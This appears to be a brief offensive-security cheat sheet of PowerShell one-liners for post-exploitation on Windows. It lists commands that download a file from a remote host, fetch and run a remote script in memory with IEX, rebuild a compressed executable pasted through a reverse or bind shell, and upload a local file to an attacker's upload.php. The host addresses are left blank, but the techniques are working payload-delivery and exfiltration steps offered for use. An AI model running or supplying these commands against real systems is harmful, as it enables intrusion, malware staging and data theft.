Remote payload, HTTP, File download -> powershell.exe (New-Object System.Net.WebClient).DownloadFile('http://:/file.exe','file.exe')
Remote payload, HTTP, No file download -> powershell.exe IEX (New-Object System.Net.WebClient).DownloadString('http:///script.ps1')
Remote payload, Clipbord, Binary compress and rebuild -> upx -9 file.exe -> exe2hex -x file.exe -p file.cmd -> Copy the contents of file.cmd and paste in the reverse/bind shell termnial -> Powershell rebuilds exe on the windows server
Data exfil, HTTP, Upload file Server side -
Client side - powershell (New-Object System.Net.WebClient).UploadFile('http:///upload.php', 'file.txt')